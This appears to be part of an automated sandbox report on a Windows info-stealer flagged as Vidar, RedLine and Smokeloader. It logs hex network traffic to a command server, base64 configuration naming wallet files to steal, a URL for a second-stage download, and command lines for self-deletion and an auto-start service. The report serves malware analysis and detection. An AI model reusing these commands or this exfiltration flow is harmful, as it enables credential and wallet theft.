2024-07-26 09:26:54 UTC	16384	IN	Data Raw: e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 Data Ascii: `P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rtt
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49736	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:57 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------FBGHCGCAEBFIJKFIDBGHCont
2024-07-26 09:26:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:58 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49737	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:59 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------HCAEGCBFHJDGCBFHDAFBCont
2024-07-26 09:27:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:27:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:27:00 UTC	71	IN	Data Raw: 33 63 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 3cRGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49738	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:27:00 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 457 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:27:00 UTC	457	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------FIECFBAAAFHIIDGCGCBFCont
2024-07-26 09:27:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:27:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49739	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:27:03 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:27:03 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------CAKEBFCFIJJKKECAKJEHCont
2024-07-26 09:27:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:27:03 UTC	79	IN	Data Raw: 34 34 0d 0a 4e 6a 6b 77 4d 54 63 79 66 47 68 30 64 48 41 36 4c 79 38 78 4f 54 67 75 4e 44 59 75 4d 54 63 34 4c 6a 45 30 4e 53 38 33 4f 44 51 33 4e 44 4d 34 4e 7a 59 33 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 44NjkwMTcyfGh0dHA6Ly8xOTguNDYuMTc4LjE0NS83ODQ3NDM4NzY3LmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49742	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:27:15 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 498 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:27:15 UTC	498	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------KFCGDBAKKKFBGDHJKFHJCont
2024-07-26 09:27:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:27:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49743	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:27:16 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:27:16 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------DBKKFHIEGDHJKECAAKKECont
2024-07-26 09:27:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:26:24
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	356'864 bytes
MD5 hash:	BEA49EAB907AF8AD2CBEA9BFB807AAE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2762173907.000000000249D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:27:10
Start date:	26/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:27:13
Start date:	26/07/2024
Path:	C:\ProgramData\BFCAAEHJDB.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\BFCAAEHJDB.exe"
Imagebase:	0x400000
File size:	11'989'504 bytes
MD5 hash:	E9CEBB30948E986C3C16E0C9EF8EC9F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:27:15
Start date:	26/07/2024
Path:	C:\ProgramData\BFCAAEHJDB.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\BFCAAEHJDB.exe
Imagebase:	0x400000
File size:	11'989'504 bytes
MD5 hash:	E9CEBB30948E986C3C16E0C9EF8EC9F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DAEGIDHDHIDG" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x5a0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012
Imagebase:	0x9e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:27:17
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 3212
Imagebase:	0x9e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:27:32
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe
Imagebase:	0x7ff670360000
File size:	10'636'288 bytes
MD5 hash:	1455F96A3552BFFCBD01FB90A2A4447B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe stop RDP-Controller
Imagebase:	0x7ff6de990000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Imagebase:	0x7ff6de990000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Imagebase:	0x7ff6de990000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start RDP-Controller
Imagebase:	0x7ff6de990000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:27:35
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
